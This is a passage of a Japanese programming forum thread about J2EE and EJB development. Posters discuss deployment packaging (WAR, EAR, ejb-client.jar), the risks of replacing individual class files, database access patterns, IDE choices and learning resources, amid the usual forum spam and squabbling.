>数100件のデータをセッションに格納して、10件ずつ位でJSPで表示する。
なんでやねん。DBから10件単位で持ってこりゃ良かろうが。
0855デフォルトの名無しさんNGNG
>>853
2なんだけど、表示するかどうかもわからない残りの90をセッションに取っておく
必要が本当に有るのか検討した方が良いと思うヨ
0856デフォルトの名無しさんNGNG
>>853
1.JavaDoc のRMI項を読もう。

>>855
setAttributeに持たせすぎたらパンクするの?
0857デフォルトの名無しさんNGNG
>>854
遅くねーか?キャッシュからが速くね?
0858デフォルトの名無しさんNGNG
>>856
RMIではなくてAppletからHttpでServletアクセスするサンプルソースです。
0859_NGNG
http://homepage.mac.com/hiroyuki43/
0860デフォルトの名無しさんNGNG
>>858
RMIでやるのは好ましくないが、通信についてどの程度理解してるか晒してくれ。
サンプルソースを要求してばかりじゃ糞PGのままだぜ?
自分でサンプル作るくらいの意識で情報掻き集めろ。
まあ、ひよこみたいだからヒントだけ言って終わりにする。
java.net.*;
これで道を開け。じゃあな。
0861デフォルトの名無しさんNGNG
>>860
どうもです。
ちなみにRMIで直接EJB呼出をやっていけないわけは
ファイヤウォールを越えられないからですか?
それとも何か別問題があるのですか?
0862デフォルトの名無しさんNGNG
EJBじたいがRMIでは
0863デフォルトの名無しさんNGNG
>>855
セッションに保存するくらいなら、適当にストレージ用意して一時ファイル
にでもキャッシュしたら?Serializeそのまんまでいいからよ。でかいヒー
プ領域潰すと問題だろ?

>>860
RMIでもHttpをプロトコルに出来るんだけどね。最優先で選択させるには、
ファクトリ書き換えないといかんけど。

>>861
EJBは、下から見るとRMIのラッパー。EJB呼び出しはRMI呼び出しのラッピング
をしているので、君の言い草はおかしい。

それから、RMIあるいはEJBの仕組みは、RMIレジストリなどのサービスレジスト
リサーバを、クライアントがサーバールックアップに使用するために外部に公開
するので、Webをまたいでそんなことさせるのは、セキュリティ上非常によろし
くない。
0864デフォルトの名無しさんNGNG
SecurityManagerいじるくらいなら他の方法考えろってことだ
0865デフォルトの名無しさんNGNG
>>864
なんのはなしですか?

ところで、そんなことするなら、普通はSecurityPolicy定義ファイルを
読ませるだけだと思うが。
0866デフォルトの名無しさんNGNG
>>865
申し訳ない。私が実務で実装しているクラスだった。近頃、混乱気味。
何をしてるクラスかは聞かないでくれたまえ。
0867デフォルトの名無しさんNGNG
ApacheSOAPをC++クライアントから使いたいのだが、
適切なライブラリを知ってる人います?
ちなみにWin用
0868デフォルトの名無しさんNGNG
初心者です。すいません。
WebLogic7.0にてServletから
リモートIFにてSessionBeanを呼び出そうとしています。
(実際はServletとSessionBeanは同じマシンで動かしています。)

ServletはXXX.warに入れています。
SessionBeanはYYY.jarに入れています。

そうした時にXXX.warには
HomeIFとRemoteIFのclassファイルを格納する必要がありますか?
できればXXX.warにはHomeIFとRemoteIFを格納しないでできると良いのですが、
格納せずに済ますことはできますか?
0869デフォルトの名無しさんNGNG
>>868

普通はWARクラスローダーの親クラスローダーはEJBのクラスローダー
のはず。

同じEAR内ならWARからejb-jarは見えると思うが。

とりあえず、試せよ。
0870デフォルトの名無しさんNGNG
>>869
今試してみましが、だめでした。
ちなみにXXX.warとYYY.jarはEARファイルに入れておりません。
そのままデプロイしてます。
0871デフォルトの名無しさんNGNG
>>870

既に解決しているかもしれないが、起動スクリプト内でWebLogicを起動する
時のクラスパスにYYY.jarを含めれば問題なし。

>>869

正確には、EJBのクラスローダーは、WARのクラスローダーの親じゃない。
0872デフォルトの名無しさんNGNG
ejb-client.jarというのをつくるといい。
これは、EJBを利用するのに必要なクラス(※)の .class ファイルをまとめた .jar ファイル。
※ たとえばこんなクラス
 ・EJB関連のインタフェース
 ・メソッドのシグネチャに使われているクラスやインタフェース
  → 引数や戻り値、例外

Webアプリの WEB-INF/lib ディレクトリに ejb-client.jar を配置しておくことで、
Webアプリのクラスパスには必要なクラスがすべて見えるということになる。

>>871 のようにWebLogic自体のクラスパスに含めるのは、
クラスをロードできるスコープをいたずらに広げてしまうから、あんまりお勧めしない。
0873デフォルトの名無しさんNGNG
>>871,872
回答ありがとうございます。

EJBってめんどくさいんですねぇ・・・
こういう場合って通常は皆さんどうされているのですか?

XXX.warにEJBのHome、Remoteインタフェースとデプロイメントディスクリプタを
格納しているのですか?
0874デフォルトの名無しさんNGNG
>>873
そもそも建前上は分散環境下で配備しているんだから、これは必要な作業。
ejb-jar.xml に ejb-client-jar 要素は規定されているよ。
0875デフォルトの名無しさんNGNG
おいおまいら、ちょいと class や jsp 直したくらいで ear パッケージングしなおして
デプロイしなおしてますか?

ちょっとした修正くらいなら (新規追加なし、置換えのみ) なら直接
ファイルを置き換えてますか?
0876デフォルトの名無しさんNGNG
>>875はEJB厨
0877デフォルトの名無しさんNGNG
ちょっとした修正くらいならデバッグ中にホットコード置換で良いじゃん。とおもた
0878デフォルトの名無しさんNGNG
EJBだけが先行してJ2EEってことを忘れてる香具師多くないか?
0879デフォルトの名無しさんNGNG
>>875
開発中なら .war を展開形式のままディプロイしてもいいと思う。
ただ、それを正式なビルド手順にしていない限りは、
本番環境へは .war とか .ear にまとめるべき。

リリース手順をどんなポリシーにしているかによって答えは変わるよ。
0880デフォルトの名無しさんNGNG
2、3日ごとに本番環境へのリリースがあるような鬼のようなプロジェクトなのですが、
やっぱり war か ear にすべきなのかなあ。
関係ないほかのモジュールまでデプロイしなおしてしまうのがどうも気になるところ。
開発チームがモジュール管理ちゃんとできてればヘンなモジュールリリースしちゃったりは
しないんだろうけど、どうも不安。

ちなみに私は、システム管理者です。
アプリケーション開発者やアプリケーションアセンブラーではありません。
0881デフォルトの名無しさんNGNG
マジでEJBを理解できない。なんでこんなに複雑なんだよJ2EE。
J2EEチュートリアルの「簡単な開発手順」のソースの理解で既にギブアップ。。。
リモートインターフェースで定義してあるメソッドをエンタープライズBeanで実装してあるけど、
どこでimplementsしてあるのかと小一時間。SessionBeanしかimplementsしてねーみたいだし・・・。

ここはとりあえず動くまで手探りでチュートリアル進めるべきなのか・・・。
EJBやってる人って、どうやって覚えたの??
0882デフォルトの名無しさんNGNG
>>880
リコンパイル必要な場合もあるだろうし、
依存関係はアーカイブ単位で取れてないと実行時にスガンなので
war,ear単位でのリリースが良いと思うよ。
0883デフォルトの名無しさんNGNG
>>880
システム管理者ならば、なおのことしっかりとしたディプロイ手順を定めるべきだと思う。
面倒でもきっちりやっておいたほうがいいよ。

ケースに応じて、入れ替えるべきモジュールが異なってくる。
その手順に合うようにアセンブルするのはアプリケーションアセンブラの責任。
(1) EJBの実装の修正
 → EJBの .jar を入れ替え
(2) EJBの実装ならびにメソッドシグネチャの修正
 → EJBの .jar および ejb-client.jar の入れ替え
(3) 画面修正(JSPの修正)
 → .war の入れ替え

すべてのEJBを1個の .jar ファイルにまとめてしまうと、
1個の修正ですべてを交換するという非合理なことになる。
そこを論理的、機能的にうまく分割できるかどうかが
コンポーネントプロバイダ(EJB開発者)のテクニックだ。
0884デフォルトの名無しさんNGNG
>>883
jar をうまいこと分けても、ear が一緒だったら同じになってしまう訳で。
ear / Enterprise Application をうまくわけるベストプラクティス集みたいなのはまだないのかなあ。
0885デフォルトの名無しさんNGNG
J2EE って面倒そうでつねぇ〜。
>>880 の鬼のようなプロジェクトってどの位の規模でつか?
アプ鯖と鯖は何を使ってるのでつか?

我ながら教えてクンだな・・・
差し支えない程度で教えて下さいな。
0886デフォルトの名無しさんNGNG
>>878
わしはTomcatでServletやJSP, JDBCだけは使いこなしても
EJBだけはまだ理解していない。

だから今はEJBだけに先行したい。

と、いうことで、頼みがありまする。
EJBを学ぶにはオライリーの本、EJBを選ぶべきかJ2EEを選ぶべきは迷っておりまする。

これを買うべきか・・・・・・

J2EEクイックリファレンス
http://www.amazon.co.jp/exec/obidos/ASIN/4873110386/qid=1053864613/sr=1-11/ref=sr_1_2_11/249-5819567-0406747

それとも、これを買うべきか・・・・・・
EnterpriseJavabeans
http://www.amazon.co.jp/exec/obidos/ASIN/487311098X/qid=1053864669/sr=1-1/ref=sr_1_2_1/249-5819567-0406747

J2EEの本を読んだだけでEJBを満足に十分に使いこなせるのかどうか・・・・・
どっちがお勧めかよろしくおながいします。
0887880NGNG
>>883
こっちがアセンブル手順をきちんと定めて、あとはアセンブラーの責任ですよと
言ってても、アセンブラーがポカやったら、オペミスしかねない手順を定めた
藻前の責任ですよ と言われてしまうのです。
結局 ear 一つなので、リリースのたびに総入れ替えしているのが現状なのですが、
アプリケーションアセンブラーをあまり信用していないのでちょっと不安です。
バージョン管理ちゃんとできてるんだろうな・・・
ま、正規の手順は ear 再デプロイしかないのは事実なんですが。
class や jsp ファイルのみの置換えでも動くには動くが、サポート受けられないし。

>>885
お答えしかねます・・・一応、ND (non-disclosure agreement) という奴です。
0888デフォルトの名無しさんNGNG
>>886
Servlet,JSP,Bean,の連携ならやった。
その後、RMIの基本を理解した。次はEJBだと思ってやり始めたはいいが・・。
チュートリアルで止まってる・・・マジわけわか。

最初からクイックリファレンスはまずくない?
漏れはSunのサイトから「アプリケーション設計ガイド」「J2EEチュートリアル」を落とした。
これを一通り読み終え、理解したらオライリーに逝こうかと思ってる。

0889デフォルトの名無しさんNGNG
>>886
オライリーのEnterpriseJavabeansは実践的でかなりいい本だけど初心者向けでない。
特にCMPで開発する人向けと言える。
なんか適当にStatelessSessionBeanを使ってる本があったらそっちのほうがいい。
0890デフォルトの名無しさんNGNG
>>889
StatefullSessionBeanは?
0891デフォルトの名無しさんNGNG
ぉら、田舎もんだがら、CMPってのもよぐわがんねぇ
0892デフォルトの名無しさんNGNG
SunのJ2EE1.3.1使ってるんですが
MySQLと接続したいんですがどのようにすればいいでしょうか?
SQL生成時に「Invalid value for getShort()-'NX'」
などとエラーになります
このエラーでどこを直せばよいのかヒントだけでも教えてください
0893885NGNG
>>887
ケチ(w

じゃ、ひとつ教えて。
そのシステムは別に J2EE じゃなくても開発できるだろ
と激しく思うことがある。

Yes or No ?


0894デフォルトの名無しさんNGNG
>アセンブラーがポカやったら、オペミスしかねない手順を定めた藻前の責任ですよ と言われてしまう

そらまたDQN会社で…ご愁傷様。
ところで

>class や jsp ファイルのみの置換えでも動くには動くが

技術はキッチリ仕様を押さえてから使おうな。
jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
0895デフォルトの名無しさんNGNG
>>894
> jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
どの辺りが危険?詳細解説お願いします。
0896デフォルトの名無しさんNGNG
>895
894じゃないけど…ぱっと思いつくので

・インスタンスイニシャライザで定数が代入されるfinal変数はインライン展開される。
 あるクラスに定数をpublic static finalで列挙していて、その並びに変更/追加があった時などは
 関係するクラス全てを再コンパイルする必要がある。
・継承の階層の途中のクラスを変更した時には全サブクラスを再コンパイルする必要がある。

てな事があるな。他にも有りそう。

厄介なのは、変更があったクラスだけとっかえりゃ良いってもんじゃ無い、という事。
影響範囲を調べれば良いわけだが、わざわざ人為的ミスを誘発する作業を挟むよりは
全部入れ替えるのがベターだろうな。
0897デフォルトの名無しさんNGNG
プロフェッショナルEJBって本はどうよ?
0898デフォルトの名無しさんNGNG
>>896
それって J2EE じゃなくて Java
つか、オブジェクト指向の罠?
0899デフォルトの名無しさんNGNG
http://elife.fam.cx/

0900デフォルトの名無しさんNGNG
>>896
違うだろ。変更したクラスだけでいいって。
あんたはrt.jarの中を再コンパイルしてるのか?
0901デフォルトの名無しさんNGNG
>>896
再コンパイルの必要あるのですか?全く影響ないですよ。
必要あるのなら、何故必要なのか述べてください。
0902デフォルトの名無しさんNGNG
>>900

896は、関係するクラス全て とか 全サブクラス とかって
言ってるじゃねーか。
どこで rt.jar コンパイルするって話になった。

0903デフォルトの名無しさんNGNG
staticな定数を持っているクラスだったらそれを参照している・さらに
その参照を持ち回っているクラスは全部再コンパイルする必要があるな。
staticな定数は実行時に参照するのではなく、コンパイル時に値が
コピーされるようになっているから。
0904896NGNG
>>902
再コンパイルの必要性がわかんねーんだよ。
おまえソース晒せや。
0905デフォルトの名無しさんNGNG
依存関係があったら自動的にコンパイルしてくれるだろうがよ。
0906880NGNG
>>893
EJBは要らない気がする。
JSP、Servlet、JavaMail 等のJ2EEテクノロジはないと面倒臭すぎるので必要。

>>894
フールプルーフな運用を構築するのはシステム管理者の責務だと思うので、
オペミス責任まで降ってくる自体はそんなにDQNとは思わない。
ただ、限度がある。
こなれてないWebアプリケーションサーバの管理、J2EE開発手順の責任までは取れないよ〜

class の置換えのキケンは J2EE 以前からある話しなので、ある程度気をつけてはいます。
ま、アプリケーション開発者じゃないので、頭の片隅においとくレベルですが。
0907デフォルトの名無しさんNGNG
本番として動いている業務アプリで、.class を稼動中に入れ替えるという運用は怖くてできない。
そんな運用を指定するユーザーもそうはいないだろう。
仕様で規定されているとはいえ不要な障害をもたらしそうな部分だし、
APサーバごと再起動の方が手順もわかりやすい。

JSPなどはプリコンパイルさせて、.classファイルのみを.warに含めてるよ。
(でなければ最初のコンパイルに時間がかかりすぎる)

0908デフォルトの名無しさんNGNG
C++の場合は言語の性質上,ソースコード間の依存関係が非常に強くなる傾向があるらしい。
Javaの場合はあるソースを変更した場合に再コンパイルする必要があるのはそのソースのみなのに対し,C++の場合は注意しないとほとんど全てのソースを再コンパイルする必要が出る場合がある。
0909デフォルトの名無しさんNGNG
>>903 が述べているように static final なメンバはインライン展開されるから、
定数は使わずすべてメソッド呼び出しにしようかと考えたこともある。
徹底はしていないけど。

 public static final int DEFAULT = 1;
  ↓
private static final int DEFAULT = 1;
 public static int getDefault() {
return DEFAULT;
}
0910880NGNG
>>907
サーバ稼動中のclass入れ替えなんて絶対にできないよ。
そのclassのインスタンスがいるときにそんな事できない。

私が気にしてるのは、ear/warファイルデプロイの際に、
変更が入っていないファイルまで置換えられてしまう事。
まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
そういう不安があるのです。
warやearの差分リリースの仕組みがあればいいんだけど。
今はwarやearの分割でしか対応できないようだ。
0911デフォルトの名無しさんNGNG
>>909
そういうランタイムの実装を気にしたくないからこそ Java や OO なんだけどな・・・
0912デフォルトの名無しさんNGNG
FirebirdはEJBに対応していますか?
0913デフォルトの名無しさんNGNG
まえにも聞いたんだけど開発ツールは?
まさかメモ帳?
設定が多すぎてツールに頼らないとできないような気がするので
なにが安定して使いやすい。
JBよりWASがいい?
0914デフォルトの名無しさんNGNG
>>904
お前だれだ?
0915デフォルトの名無しさんNGNG
>>910
> まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
> そういう不安があるのです。

その不安そのものを排除しようとはしないのか?
0916デフォルトの名無しさんNGNG
>>904
貴方が学ぶべき次のキーワードは「インライン化」
早く素人初心者から脱出できるといいですね(藁
0917880NGNG
>>915
そこを排除できればなにも言う事ないのですが、会社も別なのでなかなか口出しにくい。
アセンブル時にかかわれないのでデプロイの際になんとかカヴァーしたいのだが、無理そう。
リリース回数減らしてでもきっちりテストしてもらうしかないかな。
0918896@適当にレスNGNG
>898 javacの罠。
>900 良く嫁。そして試せ。
>901 何故必要ないと思ったんだろう…
>903 staticかどうかって関係あったっけ。良く覚えてないや。
     private finalはインライン展開されたと思うけど、protected final はサブクラスで展開されるのかな。
>904 おいおい騙んなや。
>905 それが何か?ちゃんと読んでる?
>908 流れ嫁。Javaでも関係するクラスのソースを再コンパイルする必要はある。
>909 その方法はアリだね。但し、汚いしオーバーヘッドも発生するし…。
>914 誰だろうな。
>917 diff取るだけじゃダメか。
0919デフォルトの名無しさんNGNG
TomcatはApacheと連動できますが
J2EEはApacheと連動できますか?
また、連動させる必要はありますか?
0920919NGNG
いつになく議論が活発化してる。
やばいよ漏れもEJB早くやらないと乗り遅れちゃうよ。
0921デフォルトの名無しさんNGNG
> J2EEはApacheと連動できますか?
J2EEとは仕様のこと。J2EE reference implementation(J2EE RI)のことか?
J2EE RIのServletコンテナはTomcatだから当然できる。
> また、連動させる必要はありますか?
開発や動作検証のみだったら不要。
実運用するんだったら必要なことが多い。
しかし、J2EE RIはライセンス上実運用はNGだから
連動させる必要はないと言えば無い。
0922デフォルトの名無しさんNGNG
>>920
EJBについての議論は一切無いので安心してよい
0923デフォルトの名無しさんNGNG
>>906
>EJBは要らない気がする。

激しく同意しますだ。JSP/Servlet + JDBC で十分ズラ。

>>920
J2EE ってアプ鯖の事を言ってるでねぇのかな?
0924923NGNG
× >>920
○ >>921
マチガエマスタ。
0925デフォルトの名無しさんNGNG
データベースの
あるカラム(INTEGER)の値の合計出すときってどうするんですか?
EJBでは一行がオブジェクトとして扱ってるみたいだけど
こういう処理するときって
わざわざ、findしてオブジェクト取得して
希望のカラムの数値getして
また次の行をfindして値をgetして数値をプラスしていくんですか?
int i=0;
Customer customer=null;
for(int k=1;k<10;k++){
customer= customerHome.findByPrimaryKey(new Integer(k));
i=i+customer.getCount();
}
こういうやり方でいいのか悩みます
0926デフォルトの名無しさんNGNG
>>919
900や901、908みたいなド阿呆も立派にじゃヴぁぷろぐらまーを自称している。安心召されよ



詐称とも言う
0927デフォルトの名無しさんNGNG
っていうか、検索して見つからなかったときに
なんで、「FinderException」投げるようになってるの?
見つからなかったときは、こっちで処理したいのに・・・
0928デフォルトの名無しさんNGNG
>>927
処理したらいいじゃん。例外投げてくれてるんだからcatchブロックでやれば?
0929デフォルトの名無しさんNGNG
>>926
やべーな。サーバーサイドに手をつけようって人間がこんなバカばっかなんだw
そらEJBの認知度も低い罠ぁ、、
0930デフォルトの名無しさんNGNG
>>884
確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
0931デフォルトの名無しさんNGNG
結局EJBを使っているwarファイルには
EJBリモートIF、ホームIF、ejb-jar.xmlが必要なのですか?
0932デフォルトの名無しさんNGNG
つーか、設計の段階でどのように分類すべきかも見えてないのか?
0933デフォルトの名無しさんNGNG
>>928
まあ、そうなんだけどさ
俺としては
while(このオブジェクトある?){あれば処理する}
っていうのが自然なんだよな
それにさ、>>926じゃないが何千っていうRowがあるテーブルのとき
それ全部newするのっておかしくない?
ラップするのはわかるけどさ・・・
だからといってResultSet返すわけにもいかんし・・・
複数のRowを扱えるように最初から
String[] name;
String[] getName();
とかいうのを持ったBeanつくればいいのか?
0934デフォルトの名無しさんNGNG
↑「>>926じゃないが」⇒「>>925じゃないが」
0935デフォルトの名無しさんNGNG
よろ♪
http://angelers.free-city.net/page003.html
0936デフォルトの名無しさんNGNG
JNDI名
リソース名
リソース参照名
コレだけでも区別するのは辛い
JNDI名だけでいいじゃんボケ
0937デフォルトの名無しさんNGNG
配備時にエラーになるのは
*.xmlファイルの設定が間違ってると診ていいんでしょうか?

J2EE1.3.1+MySQL⇒Invalid getShort()
JBoss+MySQL⇒MBeanException: Exception in MBean operation 'checkIncompleteDeployments()
配備時に上のようなエラーが出ます
両方ともMySQLに繋ぎたいがどっちもダメだ
どうしたいんですか?
0938デフォルトの名無しさんNGNG
>>937
あなたこそどうしたいんですか?っていうか一晩中戦ってたの?
0939デフォルトの名無しさんNGNG
>>938
一晩中っていうか
土曜日からずっと悩んでる
なんかDB使うEJB作って配備するとエラーになる

JBoss+MySQLはHPで情報かなり見つけて
どこも、同じ設定方法だったので
バインドは間違いなく出来ていると思う
となると、DD系の設定か?と思うんだが・・・原因わからず・・・
しょうがないので、今はJ2EEのほうの標準組み込みのCloudscapeでやってます
0940デフォルトの名無しさんNGNG
>>925
JDBCで集計関数使いなさい。CMPはJDBCと組み合わせるのが普通。
0941デフォルトの名無しさんNGNG
>>930
そういうアナタはどのようにパッケージングしているのですか?
0942デフォルトの名無しさんNGNG
JBoss+MySQLとはつかえないのか?
0943デフォルトの名無しさんNGNG
>>942
まだやってんのかよ。一旦諦めろって。
0944デフォルトの名無しさんNGNG
>936

貴方はひとつのJVMで閉じている環境しか経験してないでしょ?
0945デフォルトの名無しさんNGNG
>925

EJBQLしらないの?
(まー、正確にはEJB2.1じゃないとSUMは使えないはずだが、
どこのベンダーも独自実装してるから安心しな)
0946デフォルトの名無しさんNGNG
建設的な意見がないなぁ・・・
0947デフォルトの名無しさんNGNG
JDBCをセッションBEANで使うのは普通しないのですか?
(リモートメソッドのところで)
厨房ですいませんが・・・
0948デフォルトの名無しさんNGNG
>>947
BMPの必然性が疑問でそうやって作っちゃったことはあるよ。
0949デフォルトの名無しさんNGNG
>>947
エンティティビーンとのメリット・デメリット比較衡量して判断する話しじゃないの
0950デフォルトの名無しさんNGNG
CMPならわかるけど、BMPって結局自分で中の処理をごりごり・・・だもんな。
>>947-948 の気持ちがわからんでもない。
0951デフォルトの名無しさんNGNG
普通セッションBEANからJDBCを呼ぶのではないのですか?
APPに登録しているコネクションプールから?
0952デフォルトの名無しさんNGNG
頑張ってコンポーネント化しても再利用しないんだよなあ
0953デフォルトの名無しさんNGNG
>>952
EJBはトランザクション制御や分散化の恩恵を受けるためのものであって
再利用は期待できなさそう。
・・・ていうか日頃から疑問なのだがEJBみたいなモロに業務固有の処理に
特化した物って再利用できるのか?
フレームワークとかは業務に特化しないから再利用できるのじゃないか?
0954デフォルトの名無しさんNGNG
同じ会社内でなら業務ロジックの再利用はできる筈なのに、どうもコピーアンドペーストっぽいんだな
0955デフォルトの名無しさんNGNG
>>953
まあ、世の中にはEJBコンポーネントを売るのを商売としてる会社もあるわけだが。
つーか売れとるんかいな。
0956デフォルトの名無しさんNGNG
>>955
そのウチの一つのCSQのTムラ前社長と話したことがあるが、すでに
コンポーネントのマーケットスクエアというビジネスモデルそのものが
成り立っていないそうだ。イイCワンのCバンクにしてもそう。
0957デフォルトの名無しさんNGNG
>>883 >>884
確かにJ2EEコンポーネントのパッケージングは重要ですよね。

皆さんはどのようにパッケージングされていますか?
1.大規模開発の場合のパッケージング
 (ユースケースのアクター単位?)
2.共通Class(util、ValueObject、Exception)のパッケージング
 (全パッケージに入れる?コンテナのClassPathに指定)
3.EJB-Client.jarに入れるべきものは?
0958デフォルトの名無しさんNGNG
「EJB-Client.jar」ってなんですか?
EJBの仕様で定められているものですか?
0959デフォルトの名無しさんNGNG
CMPの機能のしょぼさはなぜだ
0960デフォルトの名無しさんNGNG
J2EEの使用にはクライアントコンテナとかも書いてあるが、さっぱりわからんな。
0961山崎渉NGNG
     ∧_∧
ピュ.ー (  ^^ ) <これからも僕を応援して下さいね(^^)。
  =〔~∪ ̄ ̄〕
  = ◎――◎                      山崎渉
0962デフォルトの名無しさんNGNG
>>957
0963デフォルトの名無しさんNGNG
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび
いじぇびいじぇアガガアガガア・・・・・プペラポンkdiぢおあpjぢあづづ
0964デフォルトの名無しさんNGNG
なんか、いまさらDBをラップするって言われてもな〜
BMPのほうが取っ付きやすいんだけど・・・俺は
0965デフォルトの名無しさんNGNG
すこしいいですか。
やはりEJBが広まるには開発ツールの充実がキーポイントと思います。
VBまでとは言いませんが安定したIDEが必須だと思います。
以下ツールの感想。
JB・・・シェアNO1らしいがチューニングされているせいか少ないメモリでも
動く。128MでもサーブレットJSPなら開発可能。やはり使いやすい
いちおうマルチASなのでかなり対応している。
WAS・・・Strutsウイザード・HPビルダー
などついていてかなりいいみたい。エクリプスが基本なんで軽い。
でもメモリはかなりいる。
Jdeveloper9i・・・期待のツール。UMLとコードの対応が可能。
すこし動きが遅い。GUIはしょぼい。これから伸びるツール(
まだまだ改良する余地がある)オラクルASともに期待できるか?
エクリプス・・・フリーなんで設定が面倒。

結局EJB対応にしぼればどれもまだまだ。




0966デフォルトの名無しさんNGNG
「EJB-Client.jar」ってなんですか?
EJBの仕様で定められているものですか?
0967デフォルトの名無しさんNGNG
>>954

業種別のドメインモデルが標準化されるときがきて、各システム
がその標準化されているモデルの上で、業務ロジックを実装するような形に
なれば、可能かも。

0968デフォルトの名無しさんNGNG
>UMLとコードの対応が可能。
もうちょい詳しい解説きぼn
「まさかクラス図変えたらソースも追随する」だけとかじゃないだろね。
せめてソースからシーケンス図が自動で作られないと今時斬新さの欠片も無いぞ。

>エクリプス・・・フリーなんで設定が面倒。
J2EEプロジェクトを新規作成してリモートデバッグまで持っていく手順ではJBの比にならんくらい簡単。
そもそもプラグインプラットフォームの何を評価したのやら。
どういうプラグインを通して試行したのか書かなきゃ全然意味無し。
0969デフォルトの名無しさんNGNG
この日記システム、EJBでうごくやつないかな〜?

日記ツール総合スレッド@Linux板
http://pc.2ch.net/test/read.cgi/linux/1003248633/

CGIやsendmailで動くだけじゃつまんない。
メールサーバも100%PureJavaのJamesにして。
0970デフォルトの名無しさんNGNG
968>>
でも他にこの機能(UML)ついてるのはないよ
たしかにシーケンスはないけど。値段が安い。10万
JBてそんなリモートdebugややこしい?

0971デフォルトの名無しさんNGNG
結局誰も「EJB-Client.jar」が何かってしらねぇの?
0972デフォルトの名無しさんNGNG
>>971
J2EEチュートリアル見れ
0973デフォルトの名無しさんNGNG
>970
だーかーらー、その機能(UML)ってのは何なのよ。
>>965に書いてあるだけなわけ無いよな?少なくともOmondo以上の事ができなきゃ、
「Eclipseなら無料で手に入る機能の為に10万?ふざけんな」って言われて終わり。
あと、
>J2EEプロジェクトを新規作成して〜〜
って文を無視するな。
0974デフォルトの名無しさんNGNG
>>だーかーらー、その機能(UML)ってのは何なのよ。
コードとUMLのリバースエンジニアリング。
あっROSEつかえばとか他の格安のツール使えばとかはなし(w
ドキュメントが充実しているのがいい。
それからリモートデバックなんて使う?
ローカルで検証してサーバにアップでしょう。
どんなときにつかうのかな?不安定でなかなか使い物に奈良なんですけど
あとそれからJ9iはまだまだ未完成のツールなんで
これからが楽しみ。Strutsも手順多すぎ。
あっ私厨房なんでよろしく(w

0975デフォルトの名無しさんNGNG
>>972
載ってねぇぞ!
まさか、アプリケーションのjarファイルの事言ってねぇよな。
0976デフォルトの名無しさんNGNG
>>974
ローカルで検証して上げた後、リモートでも同じテストをする事もある。
0977デフォルトの名無しさんNGNG
EJBを体系的に覚えられる道筋を教えてください。
0978デフォルトの名無しさんNGNG
>>977
ejb-jar.xmlを手書きする。
すべての要素をながめて、必須だの不要だのいりろ悩んでみることだ。

0979デフォルトの名無しさんNGNG
>>978
いきなりそれは無理でしょ。
0980デフォルトの名無しさんNGNG
>>884
確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
0981デフォルトの名無しさんNGNG
CORBAを学んでネーミングサービスや分散オブジェクトの基礎を知る。
そのうえで、JNDI(のネーミングサービス)やEJBのHome,Remote,実装の仕掛けを勉強。
0982デフォルトの名無しさんNGNG
>>981
EJBってデプロイ時にstubやskeltonの生成・コンパイルしてるんだよね。
ここらへんはIDLから作るCORBAよりもスマートだと思った。
ガリガリとRMIやってた人も、ここら辺の仕組みの理解は楽ちんだったろうな、と想像。
0983デフォルトの名無しさんNGNG
すたぶ?すけるとん?てぃー?POA?PRO?
そんな単語さえ知らなくたって分散オブジェクトが出来てしまうのが
EJBの良いところの一つ。
0984デフォルトの名無しさんNGNG
EJB ってどうやってデバッグするんでつか?
0985デフォルトの名無しさんNGNG
普通にリモートデバッグすれば良いじゃん。
俺はEclipseでやってるよ・
0986デフォルトの名無しさんNGNG
>>972
J2EEチュートリアルにejb-client.jar載ってねぇぞ!
0987デフォルトの名無しさんNGNG
http://www.google.com/search?num=50&lr=lang_ja&q=ejb-client.jar
0988デフォルトの名無しさんNGNG
>>974
リバースエンジニアリングごときでいばるな。
シーケンス図もかけないんだろ?
0989デフォルトの名無しさんNGNG
シーケンス図自動生成機能はマジで欲しいね。頼むよ〜>omondo
0990デフォルトの名無しさんNGNG
>>987
よくこういう奴いるよね。
自分では説明できないから、googleの検索後URL乗せる奴。
意味ねぇっつーの。
0991デフォルトの名無しさんNGNG
自分では調べられないから、2ch で質問するやつ
に対する回答としては適当では。
0992デフォルトの名無しさんNGNG
わかんねぇから「初心者歓迎」に書き込んでるんだろ?
googleの検索くらい自分でやっているんだよ。
わざわざ書き込まれなくても。
0993デフォルトの名無しさんNGNG
>>992
はぁ?
さっきから良スレ荒らしてんじゃねーよ。
0994デフォルトの名無しさんNGNG
>>992
これでわからなかったらあんた向いてないよ。やめたほうがいい。
0995デフォルトの名無しさんNGNG
しょうがないな。
http://java.sun.com/blueprints/code/namingconventions.html
0996デフォルトの名無しさんNGNG
>>995
はぁ?
おまえネーミングルール出して何がしたいの?
お前全然わかってないだろ?
0997デフォルトの名無しさんNGNG
>>996
はぁ?
さっきから良スレ荒らしてんじゃねーよ。
0998デフォルトの名無しさんNGNG
998
0999デフォルトの名無しさんNGNG
1000
1000デフォルトの名無しさんNGNG
1000!
10011001Over 1000Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。